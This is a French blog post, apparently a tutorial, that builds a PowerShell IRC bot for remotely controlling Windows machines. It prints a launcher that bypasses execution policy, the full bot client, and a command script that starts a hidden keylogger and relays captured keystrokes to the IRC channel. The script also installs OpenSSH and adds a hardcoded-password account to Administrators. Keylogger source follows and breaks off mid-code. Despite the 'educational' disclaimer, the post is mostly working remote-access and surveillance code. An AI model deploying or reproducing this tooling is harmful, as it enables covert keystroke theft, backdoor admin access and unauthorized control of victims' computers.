Partager la publication "Contrôler un parc de machine Windows au Travers d’un Serveur IRC"
Dans ce billet je présente un ensemble d’outils permettant de contrôler une machine Windows 10 (build 1809) au travers d’un serveur IRC via powershell. Je pars du principe que le serveur IRC est deja monté et prêt à recevoir de nouveaux clients. Vous pouvez utiliser ce billet afin de monter rapidement un serveur IRC sous Ubuntu 16.04
Le billet n’a pas pour vocation à promouvoir l’exploitation malveillante des codes mais dans un but éducatif afin de mieux protéger vos systèmes.
Démarrage le Client IRC Powershell(powershell.ps1),
- Le set host permet de connecter le bot via le nom d’ordinateur sur lequel est executé le Script.
- -File powershell.ps1 désigne le script de client irc en powershell
- L’adresse ip désigne le serveur irc ou se connecter
- « general » désigne le channel à rejoindre lorsque le bot est connecté
- %CD%\hellobot.ps1 permet d’ajouter un script externe au client IRC powershell
1 2 3 4 5 6 | @echo off set host=%COMPUTERNAME% REM Possibilité d ajouter un tunnel ssh afin de chiffrer le trafic voir explication ci dessous REM start PowerShell.exe -ExecutionPolicy Bypass -Command "ssh -L localhost:6667:192.168.1.42:6697 userlocal@192.168.1.42 -N" pause start PowerShell.exe -ExecutionPolicy Bypass -File %~dp0\irc-client2.ps1 %host% 127.0.0.1:6667 general %~dp0\hellobot.ps1 |
Dans le cas de l’utilisation du tunnel ssh, utilisez un couple clef prive/public pour vous authentifier
Script Client IRC en powershell, disponible sur : https://github.com/alejandro5042/Run-IrcBot
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 | <# .SYNOPSIS IRC Bot Toolkit for PowerShell .DESCRIPTION `Run-IrcBot.ps1` is an easy way to make IRC bots using PowerShell. Requiring no dependencies, it handles the IRC protocol so you can concentrate on the cool stuff your bot will do. If your bot is script-based, it can be edited at runtime for maximum fun and iterative development. Great for internal IRC servers. Licensed under MIT. For license and documention, see: https://github.com/alejandro5042/Run-IrcBot Copyright (c) 2014 Alejandro Barreto .LINK https://github.com/alejandro5042/Run-IrcBot #> [CmdLetBinding()] param ( [Parameter(Position = 0, Mandatory = $true)] [string] $Name, [Parameter(Position = 1, Mandatory = $true)] [string] $Server, [Parameter(Position = 2, Mandatory = $true)] [string[]] $Channels, [Parameter(Position = 3)] $BotScript, $State = @{}, [switch] $Silent ) ################################################################# $SOURCE_URL = "http://github.com/alejandro5042/Run-IrcBot" $BANNER = "IRC Bot Toolkit for PowerShell" $DEFAULT_DESCRIPTION = "Based on -- $SOURCE_URL" $API_VERSION = 1 ################################################################# $RESPONSE_CODES = @{ # 001 Welcome to the Internet Relay Network <nick>!<user>@<host> 001 = 'RPL_WELCOME'; # 002 Your host is <servername>, running version <ver> 002 = 'RPL_YOURHOST'; # 003 This server was created <date> 003 = 'RPL_CREATED'; # 004 <servername> <version> <available user modes> <available channel modes> 004 = 'RPL_MYINFO'; # 005 Try server <server name>, port <port number> 005 = 'RPL_BOUNCE'; # 302 :*1<reply> *( 302 = 'RPL_USERHOST'; # 303 :*1<nick> *( 303 = 'RPL_ISON'; # 301 <nick> :<away message> 301 = 'RPL_AWAY'; # 305 :You are no longer marked as being away 305 = 'RPL_UNAWAY'; # 306 :You have been marked as being away 306 = 'RPL_NOWAWAY'; # 311 <nick> <user> <host> * :<real name> 311 = 'RPL_WHOISUSER'; # 312 <nick> <server> :<server info> 312 = 'RPL_WHOISSERVER'; # 313 <nick> :is an IRC operator 313 = 'RPL_WHOISOPERATOR'; # 317 <nick> <integer> :seconds idle 317 = 'RPL_WHOISIDLE'; # 318 <nick> :End of WHOIS list 318 = 'RPL_ENDOFWHOIS'; # 319 "<nick> :*( ( "@" / "+" ) <channel> " " )" 319 = 'RPL_WHOISCHANNELS'; # 314 <nick> <user> <host> * :<real name> 314 = 'RPL_WHOWASUSER'; # 369 <nick> :End of WHOWAS 369 = 'RPL_ENDOFWHOWAS'; # 322 <channel> <# visible> :<topic> 322 = 'RPL_LIST'; # 323 :End of LIST 323 = 'RPL_LISTEND'; # 325 <channel> <nickname> 325 = 'RPL_UNIQOPIS'; # 324 <channel> <mode> <mode params> 324 = 'RPL_CHANNELMODEIS'; # 331 <channel> :No topic is set 331 = 'RPL_NOTOPIC'; # 332 <channel> :<topic> 332 = 'RPL_TOPIC'; # 341 <channel> <nick> 341 = 'RPL_INVITING'; # 342 <user> :Summoning user to IRC 342 = 'RPL_SUMMONING'; # 346 <channel> <invitemask> 346 = 'RPL_INVITELIST'; # 347 <channel> :End of channel invite list 347 = 'RPL_ENDOFINVITELIST'; # 348 <channel> <exceptionmask> 348 = 'RPL_EXCEPTLIST'; # 349 <channel> :End of channel exception list 349 = 'RPL_ENDOFEXCEPTLIST'; # 351 <version>.<debuglevel> <server> :<comments> 351 = 'RPL_VERSION'; # 352 <channel> <user> <host> <server> <nick> ( "H 352 = 'RPL_WHOREPLY'; # 315 <name> :End of WHO list 315 = 'RPL_ENDOFWHO'; # 353 ( "= 353 = 'RPL_NAMREPLY'; # 366 <channel> :End of NAMES list 366 = 'RPL_ENDOFNAMES'; # 364 <mask> <server> :<hopcount> <server info> 364 = 'RPL_LINKS'; # 365 <mask> :End of LINKS list 365 = 'RPL_ENDOFLINKS'; # 367 <channel> <banmask> 367 = 'RPL_BANLIST'; # 368 <channel> :End of channel ban list 368 = 'RPL_ENDOFBANLIST'; # 371 :<string> 371 = 'RPL_INFO'; # 374 :End of INFO list 374 = 'RPL_ENDOFINFO'; # 375 :- <server> Message of the day - 375 = 'RPL_MOTDSTART'; # 372 :- <text> 372 = 'RPL_MOTD'; # 376 :End of MOTD command 376 = 'RPL_ENDOFMOTD'; # 381 :You are now an IRC operator 381 = 'RPL_YOUREOPER'; # 382 <config file> :Rehashing 382 = 'RPL_REHASHING'; # 383 You are service <servicename> 383 = 'RPL_YOURESERVICE'; # 391 <server> :<string showing server's local time> 391 = 'RPL_TIME'; # 392 :UserID Terminal Host 392 = 'RPL_USERSSTART'; # 393 :<username> <ttyline> <hostname> 393 = 'RPL_USERS'; # 394 :End of users 394 = 'RPL_ENDOFUSERS'; # 395 :Nobody logged in 395 = 'RPL_NOUSERS'; # 200 Link <version & debug level> <destination> <next server> V<protocol version> <link uptime in seconds> <backstream sendq> <upstream sendq> 200 = 'RPL_TRACELINK'; # 201 Try. <class> <server> 201 = 'RPL_TRACECONNECTING'; # 202 H.S. <class> <server> 202 = 'RPL_TRACEHANDSHAKE'; # 203 ???? <class> [<client IP address in dot form>] 203 = 'RPL_TRACEUNKNOWN'; # 204 Oper <class> <nick> 204 = 'RPL_TRACEOPERATOR'; # 205 Name <class> <nick> 205 = 'RPL_TRACEUSER'; # 206 Serv <class> <int>S <int>C <server> <nick!user|*!*>@<host|server> V<protocol version> 206 = 'RPL_TRACESERVER'; # 207 Service <class> <name> <type> <active type> 207 = 'RPL_TRACESERVICE'; # 208 <newtype> 0 <client name> 208 = 'RPL_TRACENEWTYPE'; # 209 Class <class> <count> 209 = 'RPL_TRACECLASS'; # 261 File <logfile> <debug level> 261 = 'RPL_TRACELOG'; # 262 <server name> <version & debug level> :End of TRACE 262 = 'RPL_TRACEEND'; # 211 <linkname> <sendq> <sent messages> <sent Kbytes> <received messages> <received Kbytes> <time open> 211 = 'RPL_STATSLINKINFO'; # 212 <command> <count> <byte count> <remote count> 212 = 'RPL_STATSCOMMANDS'; # 219 <stats letter> :End of STATS report 219 = 'RPL_ENDOFSTATS'; # 242 :Server Up d days d:02d:02d 242 = 'RPL_STATSUPTIME'; # 243 O <hostmask> * <name> 243 = 'RPL_STATSOLINE'; # 221 <user mode string> 221 = 'RPL_UMODEIS'; # 234 <name> <server> <mask> <type> <hopcount> <info> 234 = 'RPL_SERVLIST'; # 235 <mask> <type> :End of service listing 235 = 'RPL_SERVLISTEND'; # 251 :There are <integer> users and <integer> services on <integer> servers 251 = 'RPL_LUSERCLIENT'; # 252 <integer> :operator(s) online 252 = 'RPL_LUSEROP'; # 253 <integer> :unknown connection(s) 253 = 'RPL_LUSERUNKNOWN'; # 254 <integer> :channels formed 254 = 'RPL_LUSERCHANNELS'; # 255 :I have <integer> clients and <integer> servers 255 = 'RPL_LUSERME'; # 256 <server> :Administrative info 256 = 'RPL_ADMINME'; # 257 :<admin info> 257 = 'RPL_ADMINLOC1'; # 258 :<admin info> 258 = 'RPL_ADMINLOC2'; # 259 :<admin info> 259 = 'RPL_ADMINEMAIL'; # 263 <command> :Please wait a while and try again. 263 = 'RPL_TRYAGAIN'; # 401 <nickname> :No such nick/channel 401 = 'ERR_NOSUCHNICK'; # 402 <server name> :No such server 402 = 'ERR_NOSUCHSERVER'; # 403 <channel name> :No such channel 403 = 'ERR_NOSUCHCHANNEL'; # 404 <channel name> :Cannot send to channel 404 = 'ERR_CANNOTSENDTOCHAN'; # 405 <channel name> :You have joined too many channels 405 = 'ERR_TOOMANYCHANNELS'; # 406 <nickname> :There was no such nickname 406 = 'ERR_WASNOSUCHNICK'; # 407 <target> :<error code> recipients. <abort message> 407 = 'ERR_TOOMANYTARGETS'; # 408 <service name> :No such service 408 = 'ERR_NOSUCHSERVICE'; # 409 :No origin specified 409 = 'ERR_NOORIGIN'; # 411 :No recipient given (<command>) 411 = 'ERR_NORECIPIENT'; # 412 :No text to send 412 = 'ERR_NOTEXTTOSEND'; # 413 <mask> :No toplevel domain specified 413 = 'ERR_NOTOPLEVEL'; # 414 <mask> :Wildcard in toplevel domain 414 = 'ERR_WILDTOPLEVEL'; # 415 <mask> :Bad Server/host mask 415 = 'ERR_BADMASK'; # 421 <command> :Unknown command 421 = 'ERR_UNKNOWNCOMMAND'; # 422 :MOTD File is missing 422 = 'ERR_NOMOTD'; # 423 <server> :No administrative info available 423 = 'ERR_NOADMININFO'; # 424 :File error doing <file op> on <file> 424 = 'ERR_FILEERROR'; # 431 :No nickname given 431 = 'ERR_NONICKNAMEGIVEN'; # 432 <nick> :Erroneous nickname 432 = 'ERR_ERRONEUSNICKNAME'; # 433 <nick> :Nickname is already in use 433 = 'ERR_NICKNAMEINUSE'; # 436 <nick> :Nickname collision KILL from <user>@<host> 436 = 'ERR_NICKCOLLISION'; # 437 <nick/channel> :Nick/channel is temporarily unavailable 437 = 'ERR_UNAVAILRESOURCE'; # 441 <nick> <channel> :They aren't on that channel 441 = 'ERR_USERNOTINCHANNEL'; # 442 <channel> :You're not on that channel 442 = 'ERR_NOTONCHANNEL'; # 443 <user> <channel> :is already on channel 443 = 'ERR_USERONCHANNEL'; # 444 <user> :Name not logged in 444 = 'ERR_NOLOGIN'; # 445 :SUMMON has been disabled 445 = 'ERR_SUMMONDISABLED'; # 446 :USERS has been disabled 446 = 'ERR_USERSDISABLED'; # 451 :You have not registered 451 = 'ERR_NOTREGISTERED'; # 461 <command> :Not enough parameters 461 = 'ERR_NEEDMOREPARAMS'; # 462 :Unauthorized command (already registered) 462 = 'ERR_ALREADYREGISTRED'; # 463 :Your host isn't among the privileged 463 = 'ERR_NOPERMFORHOST'; # 464 :Password incorrect 464 = 'ERR_PASSWDMISMATCH'; # 465 :You are banned from this server 465 = 'ERR_YOUREBANNEDCREEP'; # 466 :You will be banned from this server 466 = 'ERR_YOUWILLBEBANNED'; # 467 <channel> :Channel key already set 467 = 'ERR_KEYSET'; # 471 <channel> :Cannot join channel (+l) 471 = 'ERR_CHANNELISFULL'; # 472 <char> :is unknown mode char to me for <channel> 472 = 'ERR_UNKNOWNMODE'; # 473 <channel> :Cannot join channel (+i) 473 = 'ERR_INVITEONLYCHAN'; # 474 <channel> :Cannot join channel (+b) 474 = 'ERR_BANNEDFROMCHAN'; # 475 <channel> :Cannot join channel (+k) 475 = 'ERR_BADCHANNELKEY'; # 476 <channel> :Bad Channel Mask 476 = 'ERR_BADCHANMASK'; # 477 <channel> :Channel doesn't support modes 477 = 'ERR_NOCHANMODES'; # 478 <channel> <char> :Channel list is full 478 = 'ERR_BANLISTFULL'; # 481 :Permission Denied- You're not an IRC operator 481 = 'ERR_NOPRIVILEGES'; # 482 <channel> :You're not channel operator 482 = 'ERR_CHANOPRIVSNEEDED'; # 483 :You can't kill a server! 483 = 'ERR_CANTKILLSERVER'; # 484 :Your connection is restricted! 484 = 'ERR_RESTRICTED'; # 485 :You're not the original channel operator 485 = 'ERR_UNIQOPPRIVSNEEDED'; # 491 :No O-lines for your host 491 = 'ERR_NOOPERHOST'; # 501 :Unknown MODE flag 501 = 'ERR_UMODEUNKNOWNFLAG'; # 502 :Cannot change mode for other users 502 = 'ERR_USERSDONTMATCH'; } function Write-Banner ($message) { if (!$Silent) { Write-Host $message -Foreground DarkGray Write-Host } } function Write-BotHost ($message) { if (!$Silent) { Write-Host "** $message" -Foreground DarkGray } } function InstinctBot ($message, $bot) { switch ($message.Command) { 'BOT_CONNECTED' { "/NICK $($bot.Nickname)" "/USER $($bot.Name) localhost $($bot.ServerName) :$($bot.Description)" break } 'RPL_WELCOME' { Write-BotHost "Connected: $($message.ArgumentString)" break } 'JOIN' { Write-BotHost "Joined: $($message.Arguments[0])" break } 'RPL_ENDOFMOTD' { "/JOIN $($bot.Channels)" break } 'PING' { "/PONG $($message.ArgumentString)" break } 'ERR_ERRONEUSNICKNAME' { $bot.Running = $false throw 'Invalid user name.' } 'ERR_NICKNAMEINUSE' { $bot.NicknameCounter += 1 $bot.Nickname = ($message.Arguments[1] -replace "[\d]*$", "") + $bot.NicknameCounter "/NICK $($bot.Nickname)" break } 'ERROR' { Write-BotHost "Quitting: $($message.Arguments[0])" $bot.Running = $false break } } } filter Parse-OutgoingLine ($message, $bot) { $line = $_ $target = $message.Target # Don't output a white line. if ($line.Trim().Length -eq 0) { return } if (!$target) { $target = $bot.Channels } if ($line -match '^/msg\s+([^\s]+)\s+(.*)') { $target = $Matches[1] $line = $Matches[2] } if ($line -match '^/me\s(.*)') { $line = "$([char]1)ACTION $($Matches[1])$([char]1)" } if (!$line) { $line = '' } if ($line.StartsWith('/')) { $line = $line.Substring(1) # See if it was escaped. if (!$line.StartsWith('/')) { return $line } } if (!$target) { throw "No message target: $line" } return "PRIVMSG $target :$line" } function Write-Irc ($message, $bot) { begin { $wroteToIrc = $false } process { foreach ($line in ([string]$_ -split '\n') | Parse-OutgoingLine $message $bot) { if ($line -match '^pipe(?:\s(.*))?') { $Matches[1] } elseif ($bot.Writer) { if (!$wroteToIrc) { Write-Verbose "--------------------------------------" $wroteToIrc = $true } Write-Verbose "<< $line" $bot.Writer.WriteLine($line) $bot.Writer.Flush() sleep -Milliseconds $bot.InteractiveDelay } else { # We don't have a writer and we didn't write to the pipe. Ignore the message. } } } end { if ($wroteToIrc) { Write-Verbose "--------------------------------------" } } } filter Parse-IncomingLine ($bot) { if ($_ -match "^(?:[:@]([^\s]+) )?([^\s]+)((?: ((?:[^:\s][^\s]* ?)*))?(?: ?:(.*))?)$") { $message = "" | select Line, Prefix, Command, CommandCode, ArgumentString, Arguments, Text, Target, Time, SenderNickname, SenderName, SenderHost $message.Time = (Get-Date) $message.Line = $_ $message.Prefix = $Matches[1] $message.CommandCode = $Matches[2] $message.ArgumentString = $Matches[3].TrimStart() $message.Arguments = @(@($Matches[4] -split " ") + @($Matches[5]) | where { $_ }) if ($message.Prefix -match "^(.*?)!(.*?)@(.*?)$") { $message.SenderNickname = $Matches[1] $message.SenderName = $Matches[2] $message.SenderHost = $Matches[3] } $message.Command = $RESPONSE_CODES[[int]($message.CommandCode -as [int])] if (!$message.Command) { $message.Command = $message.CommandCode } if ($message.Command -eq "PRIVMSG") { $message.Target = $message.Arguments[0] $message.Text = $message.Arguments[1] $message.Text = $message.Text -replace "^$([char]1)ACTION (.*)$([char]1)$", '/me $1' # Reset actions. $message.Text = $message.Text -replace "$([char]3)(?:1[0-5]|[0-9])(?:,(?:1[0-5]|[0-9]))?", '' # Remove colors. $message.Text = $message.Text -replace "$([char]0x02)", '' # Remove bold. $message.Text = $message.Text -replace "$([char]0x1D)", '' # Remove italics. $message.Text = $message.Text -replace "$([char]0x1F)", '' # Remove underline. } return $message } } filter listify { (@(($_ | fl | out-string) -split "`n") | foreach { $_.Trim() } | where { $_ } | foreach { "# $_`n" }) -join '' } function Run-Bot ($line, $bot, [switch]$fatal) { $message = $line | Parse-IncomingLine $bot Write-Verbose ">> $message" try { if (!$message) { throw "Unknown command." } InstinctBot $message $bot | Write-Irc $message $bot & $bot.BotScript $message $bot | Write-Irc $message $bot } catch { if ($fatal) { throw } if (!$bot.CurrentError) { $bot.CurrentError = $_ Write-Error "$($_.Exception.ToString())`n$($_.InvocationInfo.PositionMessage)`n# Message:`n$($message | listify)`n# Bot.State:`n$([pscustomobject]$bot.State | listify)`n# Bot:`n$($bot | listify)" if ($bot.CurrentError.CategoryInfo.Category -ne "ParserError") { Run-Bot 'BOT_ERROR' $bot } } } $bot.CurrentError = $null } function Main { try { Write-Banner $BANNER $bot = "" | select ServerName, ServerPort, Channels, TextEncoding, Name, State, BotScript, Connection, NetworkStream, Reader, Writer, InteractiveDelay, InactiveDelay, Running, CurrentError, TimerInterval, StartTime, LastTick, Nickname, Description, NicknameCounter, ApiVersion $bot.ApiVersion = $API_VERSION $bot.ServerName, $bot.ServerPort = $Server -split ":" if (!$bot.ServerPort) { $bot.ServerPort = 6697 } if (Test-Path $Name) { $bot.Name = (gi $Name).BaseName } else { $bot.Name = $Name } $bot.Nickname = $bot.Name $bot.NicknameCounter = 1 $bot.Description = $DEFAULT_DESCRIPTION $bot.Running = $false $bot.InactiveDelay = 1000 $bot.InteractiveDelay = 100 $bot.TimerInterval = 0 $bot.BotScript = $BotScript $bot.State = $State $bot.Channels = ($Channels | where { $_ } | foreach { "#$_" }) -join ',' $bot.TextEncoding = [Text.Encoding]::ASCII if (!$bot.BotScript) { $botScriptName = $Name if (!(Test-Path $botScriptName)) { $botScriptName = $botScriptName + '.ps1' } if (!(Test-Path $botScriptName)) { throw "Cannot find script: $botScriptName" } $botScriptItem = gi $botScriptName $bot.BotScript = $botScriptItem.FullName } Write-Verbose "Original Bot: $bot" # Allow the bot to initialize the bot and/or massage parameters. Plus, if the script fails to compile or statically initialize (maybe because it doesn't like a parameter), we'll quit before we even connect. Run-Bot 'BOT_INIT' $bot -Fatal Write-Verbose "Initialized Bot: $bot" try { $bot.Connection = New-Object Net.Sockets.TcpClient ($bot.ServerName, $bot.ServerPort) $bot.NetworkStream = $bot.Connection.GetStream() $bot.Reader = New-Object IO.StreamReader ($bot.NetworkStream, $bot.TextEncoding) $bot.Writer = New-Object IO.StreamWriter ($bot.NetworkStream, $bot.TextEncoding) $bot.StartTime = [DateTime]::Now $bot.Running = $true Run-Bot 'BOT_CONNECTED' $bot $active = $false $bot.LastTick = [DateTime]::Now while ($bot.Running) { if ($active) { sleep -Milliseconds $bot.InteractiveDelay } else { sleep -Milliseconds $bot.InactiveDelay } $active = $false if ($bot.Running -and $bot.TimerInterval) { if ((New-TimeSpan $bot.LastTick ([DateTime]::Now)).TotalMilliseconds -gt $bot.TimerInterval) { Run-Bot 'BOT_TICK' $bot $bot.LastTick = [DateTime]::Now } } else { $bot.LastTick = [DateTime]::Now } while ($bot.Running -and ($bot.NetworkStream.DataAvailable -or $bot.Reader.Peek() -ne -1)) { $line = $bot.Reader.ReadLine() if ($line -ne $null) { $active = $true Run-Bot $line $bot } } } } catch { $bot.CurrentError = $_ Run-Bot 'BOT_FATAL_ERROR' $bot throw } finally { $bot.Running = $false try { if ($bot.Connection.Connected) { Run-Bot 'BOT_DISCONNECTING' $bot } } finally { Run-Bot 'BOT_END' $bot } } } finally { if ($bot.Connection) { $bot.Connection.Close() $bot.Connection.Dispose() Write-BotHost "Disconnected [$([DateTime]::Now.ToString())]`n" } } } Main |
Script à Ajouter au lancement du client IRC Powershell, permet d’interagir avec le bot via le channel de discussion, j’ai modifié le script afin de lui permettre de recevoir des arguments
Les lignes avec -match, permette de passer une argument après la commande afin de désigner un client ou la commande doit être appliqué
Si j’écris dans le channel %installssh MYCOMPUTER
Le script va effectuer l’installation d’un serveur SSH sur la machine MYCOMPUTER.
A la différence de -matche qui permet de rechercher une string sans tenir compte de la casse, -like recherche une expression stricte.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 | param ($Message, $Bot) #https://github.com/alejandro5042/Run-IrcBot #Syntax GoGoGadget-hi computername #Syntax GoGoGadget-kill computername pid #$Message.Text switch ($Message.Command) { "join" { if ($Message.SenderNickname -ne $Bot.Nickname) # Don't say hello to ourselves! { "hey there $($Message.SenderNickname), what's up?" } } } if ($Message.Text -match "GoGoGadget-hi"){ $Finale = $Message.Text.Split(" "); if ($Bot.Nickname -eq $Finale[1]){ "hello "+$Message.SenderNickname+" !" } } if ($Message.Text -match "GoGoGadget-private"){ $Finale = $Message.Text.Split(" "); if ($Bot.Nickname -eq $Finale[1]){ ""+$Finale[2] } } if ($Message.Text -like "GoGoGadget-fondlaby"){ $Finale = $Message.Text.Split(" "); if ($Bot.Nickname -eq $Finale[1]){ ""+"Bascule le Background vers laby.jpg" Function Set-WallPaper($Value){ Set-ItemProperty -path 'HKCU:\Control Panel\Desktop\' -name "wallpaper" -value $value } rundll32.exe user32.dll, UpdatePerUserSystemParameters Set-WallPaper -value (Resolve-Path .\).Path+"\laby.jpg" } } if ($Message.Text -like "GoGoGadget-fondblack"){ $Finale = $Message.Text.Split(" "); if ($Bot.Nickname -eq $Finale[1]){ ""+"Bascule le Background vers black.jpg" Function Set-WallPaper($Value){ Set-ItemProperty -path 'HKCU:\Control Panel\Desktop\' -name "wallpaper" -value $value rundll32.exe user32.dll, UpdatePerUserSystemParameters } Set-WallPaper -value (Resolve-Path .\).Path+"\black.jpg" } } if ($Message.Text -match "GoGoGadget-record"){ $Finale = $Message.Text.Split(" "); if ($Bot.Nickname -eq $Finale[1]){ $app = Start-Process -WindowStyle hidden powershell C:\Users\userlocal\Documents\BACKUP\inspircd\bot\exfiltr.ps1 -passthru ""+$Finale[1] + "ID for Kill : "+$app.Id } } if ($Message.Text -match "GoGoGadget-kill"){ $Finale = $Message.Text.Split(" "); if ($Bot.Nickname -eq $Finale[1]){ Stop-Process -ID $Finale[2] -Force; $Path= "$env:temp\keylogger.txt" $ContentWrite = Get-Content -Path $Path; Remove-Item -Path $Path ""+$Finale[1]+" has write : ["+$ContentWrite+"]" } } if ($Message.Text -match "GoGoGadget-installssh"){ $Finale = $Message.Text.Split(" "); if ($Bot.Nickname -eq $Finale[1]){ #Teste et installation du service openssh puis lancement $serviceName = 'OpenSSH SSH Server' If (Get-Service $serviceName -ErrorAction SilentlyContinue) { If ((Get-Service $serviceName).Status -eq 'Running') { Restart-Service -Name "$serviceName" "Restarting OpenSSH SSH Server" } Else { "OpenSSH SSH Server found, but it is not running." Start-Service -Name "$serviceName" } } Else { "OpenSSH SSH Server not found Install en cours" Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0 } #infos utilisateur pour connection ssh $Password = "password" $Utilisateur = "sshuser" $group = "Administrateurs"; $password = ConvertTo-SecureString -String "$Password" -AsPlainText -Force #Teste pour vérifier si l'utilisateur exist deja, si non je le cré $op = Get-LocalUser | Where-Object {$_.Name -eq "$Utilisateur"} if ( -not $op){ "sshuser not found creation en cours" New-LocalUser "$Utilisateur" -Password $Password -FullName "$Utilisateur" -Description "System Account" | Out-Null }else{ "sshuser already created" } #Teste pour vérifier si l'utilisateur est membre du groupe administrateur $groupObj =[ADSI]"WinNT://./$group,group" $membersObj = @($groupObj.psbase.Invoke("Members")) $members = ($membersObj | foreach {$_.GetType().InvokeMember("Name", 'GetProperty', $null, $_, $null)}) If ($members -contains $Utilisateur) { "sshuser exists in the group $group" } Else { "sshuser not exists in the group $group" Add-LocalGroupMember -Group "Administrateurs" -Member "$Utilisateur" } } } if ($Message.Text -match "GoGoGadget-getip"){ $Finale = $Message.Text.Split(" "); if ($Bot.Nickname -eq $Finale[1]){ #Permet de retourner dans le chat irc les ip de la machine $ip=get-WmiObject Win32_NetworkAdapterConfiguration|Where {$_.Ipaddress.length -gt 1} ""+$Finale[1]+" -> "+$ip.ipaddress[0] } } |
Exemple : Si je souhaite démarrer l’enregistrement de touches du clavier sur une machine distante je vais utiliser la commande « GoGoGadget record HOSTNAME »
Script Exfiltr.ps1 qui est un keyloggers Powershell, l’ensemble des touches enregistré sera stocké dans $env:temp\keylogger.txt sur la machine distante. La source du script est disponible sur : https://gist.github.com/dasgoll/7ca1c059dd3b3fbc7277
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 | #requires -Version 2 #C:\Users\%username%\AppData\Local\Temp function Start-KeyLogger($Path="$env:temp\keylogger.txt") { # Signatures for API Calls $signatures = @' [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] public static extern short GetAsyncKeyState(int virtualKeyCode); [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int GetKeyboardState(byte[] keystate); [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int MapVirtualKey(uint uCode, int uMapType); [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags); '@ # load signatures and make members available $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru # create output file $null = New-Item -Path $Path -ItemType File -Force try { Write-Host "$PID Recording key presses. Press CTRL+C to see results." -ForegroundColor Red # create endless loop. When user presses CTRL+C, finally-block # executes and shows the collected key presses while ($true) { Start-Sleep -Milliseconds 40 # scan all ASCII codes above 8 for ($ascii = 9; $ascii -le 254; $ascii++) { # get current key state $state = $API::GetAsyncKeyState($ascii) # is key pressed? if ($state -eq -32767) { $null = [console]::CapsLock # translate scan code to real code $virtualKey = $API::MapVirtualKey($ascii, 3) # get keyboard state for virtual keys $kbstate = New-Object Byte[] 256 $checkkbstate = $API::GetKeyboardState($kbstate) # prepare a 